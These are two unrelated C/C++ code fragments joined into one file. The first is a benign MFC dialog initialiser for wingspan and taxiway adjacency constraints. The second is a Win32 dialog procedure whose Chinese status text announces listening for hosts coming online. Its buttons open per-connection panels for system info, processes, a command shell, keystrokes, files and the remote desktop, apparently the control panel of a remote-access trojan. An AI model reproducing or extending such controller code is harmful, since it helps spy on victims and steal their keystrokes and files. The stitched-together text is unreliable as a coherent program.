BOOL CDlgWingspanAdjacancyConstraints::OnInitDialog() { CDialog::OnInitDialog(); SetWindowText(_T("Wingspan Adjacency Constraints")); // TODO: Add extra initialization here GetDlgItem(IDC_BUTTON_SAVE)->EnableWindow(FALSE); //list DWORD dwStyle = m_wndListCtrl.GetExtendedStyle(); dwStyle |= LVS_EX_FULLROWSELECT|LVS_EX_HEADERDRAGDROP|LVS_EX_GRIDLINES; m_wndListCtrl.SetExtendedStyle(dwStyle); //load data for taxiway adjacency m_vData.LoadData(m_nProjID); // set the layout of child controls RefreshLayout(); // init the list control InitListControl(); // set the toolbar button state UpdateToolBarState(); GetAllTaxiway(); FillListControl(); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE }
////////////////////////////////////////////////////////////////////////// //主窗口过程 ////////////////////////////////////////////////////////////////////////// LRESULT CALLBACK MainDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam ) { hDlgMain = hDlg; HINSTANCE hInstance = GetModuleHandle(NULL); HWND hListControl = GetDlgItem(hDlg,IDC_LIST1); char msg[1024] = {0}; switch (uMsg) { case WM_INITDIALOG: { InitListControl(hListControl); hSBarDlg = CreateStatusWindow(WS_CHILD|WS_VISIBLE|SBARS_SIZEGRIP,NULL,hDlg,ID_STATUSBAR); memcpy(msg,"开始监听主机上线...",sizeof(msg)); SendMessage(hSBarDlg,SB_SETTEXT,NULL,(LPARAM)msg); } break; case WM_COMMAND: { char temp[1024] = {0}; int count = ListView_GetSelectionMark(hListControl); dwSelected = count; ListView_GetItemText(hListControl,count,4,temp,1024); SOCKET s = (SOCKET)atoi(temp); switch (LOWORD(wParam)) { case IDC_BUTTON1: { DialogBoxParam(hInstance,MAKEINTRESOURCE(IDD_DIALOG6),hDlg,(DLGPROC)SysDlgProc,(LPARAM)s); } break; case IDC_BUTTON2: { DialogBoxParam(hInstance,MAKEINTRESOURCE(IDD_DIALOG3),hDlg,(DLGPROC)ProcDlgProc,(LPARAM)s); } break; case IDC_BUTTON3: { DialogBoxParam(hInstance,MAKEINTRESOURCE(IDD_DIALOG2),hDlg,(DLGPROC)CmdDlgProc,(LPARAM)s); } break; case IDC_BUTTON4: { DialogBoxParam(hInstance,MAKEINTRESOURCE(IDD_DIALOG4),hDlg,(DLGPROC)KeyDlgProc,(LPARAM)s); } break; case IDC_BUTTON5: { DialogBoxParam(hInstance,MAKEINTRESOURCE(IDD_DIALOG1),hDlg,(DLGPROC)FileDlgProc,(LPARAM)s); } break; case IDC_BUTTON6: { DialogBoxParam(hInstance,MAKEINTRESOURCE(IDD_DIALOG5),hDlg,(DLGPROC)DesktopDlgProc,(LPARAM)s); } break; } } break; case WM_CLOSE: { EndDialog(hDlg,NULL); } break; default: break; } return FALSE; }